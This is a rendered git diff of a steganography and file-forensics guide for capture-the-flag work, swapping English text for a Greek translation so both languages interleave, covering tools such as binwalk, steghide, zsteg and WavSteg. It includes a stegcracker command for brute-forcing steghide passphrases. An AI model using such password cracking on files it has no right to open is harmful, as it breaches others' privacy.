binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
|
||||
### **Foremost**
|
||||
|
||||
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
|
||||
|
||||
Ανακτά αρχεία με βάση τις κεφαλίδες και τις υποσέλιδές τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω του `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
||||
### **Exiftool**
|
||||
|
||||
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
|
||||
Βοηθά στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
|
||||
### **Exiv2**
|
||||
|
||||
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
|
||||
|
||||
Παρόμοιο με το exiftool, για προβολή μεταδεδομένων. Εγκαθίσταται μέσω `apt`, πηγή στο [GitHub](https://github.com/Exiv2/exiv2), και έχει μια [επίσημη ιστοσελίδα](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **Αρχείο**
|
||||
|
||||
### **File**
|
||||
Καθορίστε τον τύπο του αρχείου με το οποίο ασχολείστε.
|
||||
|
||||
Identify the type of file you're dealing with.
|
||||
|
||||
### **Strings**
|
||||
|
||||
Extracts readable strings from files, using various encoding settings to filter the output.
|
||||
### **Συμβολοσειρές**
|
||||
|
||||
Εξάγει αναγνώσιμες συμβολοσειρές από αρχεία, χρησιμοποιώντας διάφορες ρυθμίσεις κωδικοποίησης για να φιλτράρει την έξοδο.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
||||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **Σύγκριση (cmp)**
|
||||
|
||||
### **Comparison (cmp)**
|
||||
|
||||
Useful for comparing a modified file with its original version found online.
|
||||
|
||||
Χρήσιμο για τη σύγκριση ενός τροποποιημένου αρχείου με την αρχική του έκδοση που βρέθηκε online.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **Εξαγωγή Κρυφών Δεδομένων σε Κείμενο**
|
||||
|
||||
## **Extracting Hidden Data in Text**
|
||||
### **Κρυφά Δεδομένα σε Κενά**
|
||||
|
||||
### **Hidden Data in Spaces**
|
||||
Αόρατοι χαρακτήρες σε φαινομενικά κενά μπορεί να κρύβουν πληροφορίες. Για να εξαγάγετε αυτά τα δεδομένα, επισκεφθείτε [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
## **Εξαγωγή Δεδομένων από Εικόνες**
|
||||
|
||||
## **Extracting Data from Images**
|
||||
|
||||
### **Identifying Image Details with GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
|
||||
### **Αναγνώριση Λεπτομερειών Εικόνας με το GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) χρησιμοποιείται για να προσδιορίσει τους τύπους αρχείων εικόνας και να εντοπίσει πιθανή διαφθορά. Εκτελέστε την παρακάτω εντολή για να ελέγξετε μια εικόνα:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
|
||||
To attempt repair on a damaged image, adding a metadata comment might help:
|
||||
|
||||
Για να προσπαθήσετε να επισκευάσετε μια κατεστραμμένη εικόνα, η προσθήκη ενός σχολίου μεταδεδομένων μπορεί να βοηθήσει:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide για Απόκρυψη Δεδομένων**
|
||||
|
||||
### **Steghide for Data Concealment**
|
||||
Το Steghide διευκολύνει την απόκρυψη δεδομένων μέσα σε `JPEG, BMP, WAV, και AU` αρχεία, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας `apt`, και ο [κώδικας πηγής είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
**Εντολές:**
|
||||
|
||||
**Commands:**
|
||||
- `steghide info file` αποκαλύπτει αν ένα αρχείο περιέχει κρυφά δεδομένα.
|
||||
- `steghide extract -sf file [--passphrase password]` εξάγει τα κρυφά δεδομένα, ο κωδικός πρόσβασης είναι προαιρετικός.
|
||||
|
||||
- `steghide info file` reveals if a file contains hidden data.
|
||||
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
|
||||
Για εξαγωγή μέσω διαδικτύου, επισκεφθείτε [αυτή την ιστοσελίδα](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Bruteforce Attack with Stegcracker:**
|
||||
|
||||
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
|
||||
**Επίθεση Bruteforce με Stegcracker:**
|
||||
|
||||
- Για να προσπαθήσετε να σπάσετε τον κωδικό πρόσβασης στο Steghide, χρησιμοποιήστε [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg για αρχεία PNG και BMP**
|
||||
|
||||
### **zsteg for PNG and BMP Files**
|
||||
zsteg ειδικεύεται στην αποκάλυψη κρυφών δεδομένων σε αρχεία PNG και BMP. Η εγκατάσταση γίνεται μέσω `gem install zsteg`, με την [πηγή του στο GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
|
||||
**Εντολές:**
|
||||
|
||||
**Commands:**
|
||||
- `zsteg -a file` εφαρμόζει όλες τις μεθόδους ανίχνευσης σε ένα αρχείο.
|
||||
- `zsteg -E file` καθορίζει ένα payload για εξαγωγή δεδομένων.
|
||||
|
||||
- `zsteg -a file` applies all detection methods on a file.
|
||||
- `zsteg -E file` specifies a payload for data extraction.
|
||||
### **StegoVeritas και Stegsolve**
|
||||
|
||||
### **StegoVeritas and Stegsolve**
|
||||
**stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει LSB brute forcing μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
|
||||
|
||||
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
|
||||
**Stegsolve** εφαρμόζει διάφορα φίλτρα χρώματος για να αποκαλύψει κρυφά κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
### **FFT για ανίχνευση κρυφού περιεχομένου**
|
||||
|
||||
### **FFT for Hidden Content Detection**
|
||||
|
||||
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
|
||||
Οι τεχνικές Fast Fourier Transform (FFT) μπορούν να αποκαλύψουν κρυφό περιεχόμενο σε εικόνες. Χρήσιμοι πόροι περιλαμβάνουν:
|
||||
|
||||
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
- [FFTStegPic στο GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy for Audio and Image Files**
|
||||
### **Stegpy για αρχεία ήχου και εικόνας**
|
||||
|
||||
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy επιτρέπει την ενσωμάτωση πληροφοριών σε αρχεία εικόνας και ήχου, υποστηρίζοντας μορφές όπως PNG, BMP, GIF, WebP και WAV. Είναι διαθέσιμο στο [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
|
||||
To analyze PNG files or to validate their authenticity, use:
|
||||
### **Pngcheck για ανάλυση αρχείων PNG**
|
||||
|
||||
Για να αναλύσετε αρχεία PNG ή να επιβεβαιώσετε την αυθεντικότητά τους, χρησιμοποιήστε:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Επιπλέον Εργαλεία για Ανάλυση Εικόνας**
|
||||
|
||||
### **Additional Tools for Image Analysis**
|
||||
|
||||
For further exploration, consider visiting:
|
||||
Για περαιτέρω εξερεύνηση, σκεφτείτε να επισκεφθείτε:
|
||||
|
||||
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
@ -153,66 +133,60 @@ For further exploration, consider visiting:
|
||||
- [OpenStego](https://www.openstego.com/)
|
||||
- [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Extracting Data from Audios**
|
||||
## **Εξαγωγή Δεδομένων από Ήχους**
|
||||
|
||||
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
|
||||
**Audio steganography** προσφέρει μια μοναδική μέθοδο για την απόκρυψη πληροφοριών μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυφού περιεχομένου.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
|
||||
Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την απόκρυψη δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στην [τεκμηρίωση stego tricks](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων των PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
|
||||
|
||||
ffmpeg είναι κρίσιμο για την αξιολόγηση της ακεραιότητας των αρχείων ήχου, επισημαίνοντας λεπτομερείς πληροφορίες και εντοπίζοντας τυχόν ανωμαλίες.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
|
||||
|
||||
Το WavSteg διακρίνεται στην απόκρυψη και εξαγωγή δεδομένων μέσα σε αρχεία WAV χρησιμοποιώντας τη στρατηγική του λιγότερο σημαντικού bit. Είναι διαθέσιμο στο [GitHub](https://github.com/ragibson/Steganography#WavSteg). Οι εντολές περιλαμβάνουν:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Το Deepsound επιτρέπει την κρυπτογράφηση και ανίχνευση πληροφοριών μέσα σε αρχεία ήχου χρησιμοποιώντας AES-256. Μπορεί να κατέβει από [την επίσημη σελίδα](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
|
||||
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν ανιχνεύονται με άλλες μεθόδους. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερα.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Η ανίχνευση τόνων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω διαδικτυακών εργαλείων όπως [αυτός ο ανιχνευτής DTMF](https://unframework.github.io/dtmf-detect/) και [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Other Techniques**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
|
||||
|
||||
Δυαδικά δεδομένα που τετραγωνίζονται σε ακέραιο αριθμό μπορεί να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για να ελέγξετε:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
Για τη μετατροπή δυαδικών σε εικόνα, ελέγξτε το [dcode](https://www.dcode.fr/binary-image). Για να διαβάσετε QR codes, χρησιμοποιήστε [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
### **Μετάφραση Μπράιγ**
|
||||
|
||||
### **Braille Translation**
|
||||
Για τη μετάφραση Μπράιγ, ο [Branah Braille Translator](https://www.branah.com/braille-translator) είναι μια εξαιρετική πηγή.
|
||||
|
||||
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
|
||||
|
||||
## **References**
|
||||
## **Αναφορές**
|
||||
|
||||
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user